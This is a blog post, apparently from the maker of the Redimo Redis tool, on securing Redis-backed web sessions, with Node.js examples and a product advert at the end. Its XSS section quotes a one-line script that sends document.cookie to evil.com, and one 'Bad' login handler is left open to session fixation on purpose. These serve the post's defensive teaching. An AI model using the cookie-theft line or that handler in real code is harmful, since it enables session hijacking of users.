January 11, 2025

Redis Session Management Best Practices

CorbinCorbin

Redis for sessions is a no-brainer. Fast reads, automatic expiration, shared across servers. What could go wrong?

Quite a bit, actually. Security holes, memory leaks, logout bugs, and session fixation attacks. All from "simple" session storage.

The Basics

A session in Redis:

SET session:abc123xyz "{\"userId\":1001,\"role\":\"admin\"}" EX 3600

Session ID as key, user data as value, TTL for expiration. Done.

Except this basic approach has problems.

Problem 1: Session Fixation

User logs in. You create a session. But the session ID was provided by the attacker (via URL parameter or preset cookie).

Bad:

app.post('/login', async (req, res) => {
  // Uses existing session ID from cookie
  const sessionId = req.cookies.sessionId || generateId();
  await redis.set(`session:${sessionId}`, JSON.stringify({ userId }), 'EX', 3600);
  res.cookie('sessionId', sessionId);
});

Good:

app.post('/login', async (req, res) => {
  // Always generate new session ID on login
  const oldSessionId = req.cookies.sessionId;
  if (oldSessionId) {
    await redis.del(`session:${oldSessionId}`);  // Invalidate old
  }
  
  const newSessionId = crypto.randomUUID();  // Fresh ID
  await redis.set(`session:${newSessionId}`, JSON.stringify({ userId }), 'EX', 3600);
  res.cookie('sessionId', newSessionId, { httpOnly: true, secure: true });
});

Always regenerate session ID on privilege change (login, role change).

Problem 2: Session Doesn't Actually Expire

You set EX 3600. One hour later, session should be gone. But the user is still logged in.

Why: Sliding expiration. Every request refreshes the TTL.

// Middleware that extends session
app.use(async (req, res, next) => {
  const sessionId = req.cookies.sessionId;
  if (sessionId) {
    await redis.expire(`session:${sessionId}`, 3600);  // Reset TTL
  }
  next();
});

Active users stay logged in forever.

Fix: Absolute expiration

const sessionData = {
  userId: 1001,
  createdAt: Date.now(),
  absoluteExpiry: Date.now() + 24 * 60 * 60 * 1000,  // 24 hours max
};

// In middleware
const session = JSON.parse(await redis.get(`session:${sessionId}`));
if (session.absoluteExpiry < Date.now()) {
  await redis.del(`session:${sessionId}`);
  return res.redirect('/login');
}

// Can still have sliding expiration for idle timeout
await redis.expire(`session:${sessionId}`, 3600);

Problem 3: Logout Doesn't Work

User clicks logout. You delete the session.

app.post('/logout', async (req, res) => {
  await redis.del(`session:${req.cookies.sessionId}`);
  res.clearCookie('sessionId');
});

But user had multiple tabs open. Other tabs still have the session ID. They refresh. They're logged out.

Wait, that's correct behavior. What's the actual problem?

The real issue: Session stealing

If an attacker captured the session ID before logout, deleting from Redis means they're also logged out.

But if you want to invalidate all of a user's sessions:

// Track all sessions per user
await redis.sadd(`user:${userId}:sessions`, sessionId);

// On logout-all
const sessions = await redis.smembers(`user:${userId}:sessions`);
await redis.del(sessions.map(s => `session:${s}`));
await redis.del(`user:${userId}:sessions`);

Problem 4: Memory Bloat

Sessions created, users leave, sessions expire. Everything's fine.

Except for that one session with a huge cart object:

// Bad - storing too much in session
req.session.cart = {
  items: [...hundredsOfItems],
  priceHistory: [...everyPriceChange],
  recommendations: [...aiGeneratedSuggestions],
};

This 500KB session times a million users = 500GB.

Best practice:

// Session stores references only
req.session = {
  userId: 1001,
  cartId: 'cart:1001',  // Reference to separate key
};

// Cart stored separately with its own TTL
await redis.set('cart:1001', JSON.stringify(cartData), 'EX', 86400);

Keep sessions small. Store big data separately.

Problem 5: Cross-Site Attacks

CSRF with sessions:

User is logged in. Visits malicious site. Malicious site makes request to your API. Browser sends session cookie. Request succeeds.

Mitigation:

// Use SameSite cookies
res.cookie('sessionId', id, {
  httpOnly: true,      // Not accessible via JavaScript
  secure: true,        // HTTPS only
  sameSite: 'strict',  // Not sent on cross-site requests
});

XSS and session theft:

If httpOnly is false, JavaScript can read the cookie:

// Attacker's script
fetch('https://evil.com/steal?session=' + document.cookie);

Always httpOnly: true.

Recommended Session Structure

const session = {
  // Identity
  userId: 1001,
  
  // Security
  createdAt: Date.now(),
  absoluteExpiry: Date.now() + 24 * 60 * 60 * 1000,
  ipAddress: req.ip,
  userAgent: req.headers['user-agent'],
  
  // Permissions (cached, not authoritative)
  role: 'admin',
  
  // CSRF token
  csrfToken: crypto.randomBytes(32).toString('hex'),
};

Don't store:

  • Passwords (obviously)
  • Full user profiles
  • Large objects (carts, preferences)
  • Anything that changes frequently

Key Naming Convention

session:<sessionId>              # Session data
user:<userId>:sessions           # Set of user's active sessions
session:<sessionId>:metadata     # IP, user agent for security

Or namespaced:

auth:session:<sessionId>
auth:user:<userId>:sessions

Monitoring Sessions

What to watch:

Metric Why
Total session count Memory planning
Sessions without TTL Memory leak
Session size distribution Find bloated sessions
Sessions per user Detect abuse
Expired sessions not deleted Redis config issue

In Redimo:

Pattern Monitor on session:*:

  • Total count
  • TTL status (catch missing TTLs)
  • Size per session
  • Click to inspect suspicious ones

Session Storage Patterns

Pattern 1: Simple String

SET session:abc123 '{"userId":1001}' EX 3600

Pros: Simple, fast Cons: Must serialize/deserialize entire object

Pattern 2: Hash

HSET session:abc123 userId 1001 role admin createdAt 1705312245
EXPIRE session:abc123 3600

Pros: Read/write individual fields Cons: Two commands for create

Pattern 3: With Metadata Separate

SET session:abc123 '{"userId":1001}' EX 3600
HSET session:abc123:meta ip 192.168.1.1 ua "Mozilla/5.0"
EXPIRE session:abc123:meta 3600

Pros: Clean separation, can log metadata without touching session Cons: Multiple keys to manage

Invalidation Strategies

Invalidate One Session

await redis.del(`session:${sessionId}`);

Invalidate All User Sessions

// Requires tracking sessions per user
const sessionIds = await redis.smembers(`user:${userId}:sessions`);
if (sessionIds.length > 0) {
  await redis.del(sessionIds.map(id => `session:${id}`));
  await redis.del(`user:${userId}:sessions`);
}

Invalidate Sessions by Criteria

Password changed? Invalidate all sessions older than the change.

const sessions = await redis.smembers(`user:${userId}:sessions`);
for (const sessionId of sessions) {
  const session = JSON.parse(await redis.get(`session:${sessionId}`));
  if (session.createdAt < passwordChangedAt) {
    await redis.del(`session:${sessionId}`);
    await redis.srem(`user:${userId}:sessions`, sessionId);
  }
}

Framework Integration

Express + express-session

const session = require('express-session');
const RedisStore = require('connect-redis').default;

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,
    httpOnly: true,
    sameSite: 'strict',
    maxAge: 3600000,
  },
}));

NestJS

@Module({
  imports: [
    CacheModule.register({
      store: redisStore,
      host: 'localhost',
      port: 6379,
    }),
  ],
})

Or use @nestjs/passport with Redis session store.

Next.js

// Using iron-session with Redis
import { getIronSession } from 'iron-session';

const session = await getIronSession(req, res, {
  password: process.env.SESSION_SECRET,
  cookieName: 'session',
  cookieOptions: {
    secure: process.env.NODE_ENV === 'production',
  },
});

Checklist

  • Generate new session ID on login
  • Use cryptographically random session IDs
  • Set httpOnly, secure, sameSite on cookies
  • Implement absolute expiration (not just idle timeout)
  • Track sessions per user for bulk invalidation
  • Keep session data small
  • Monitor session key patterns
  • Have invalidation strategy for password changes
  • Test logout actually works (all tabs, all devices)

Sessions look simple. Getting them right requires thought. Redis makes the storage fast - you make it secure.

Download Redimo to monitor your session storage and catch issues early.

Ready for Download

Try Redimo Today

Pattern Monitor, CRUD operations, SSH Tunneling.
Everything you need to manage Redis at light speed.

macOS & Windows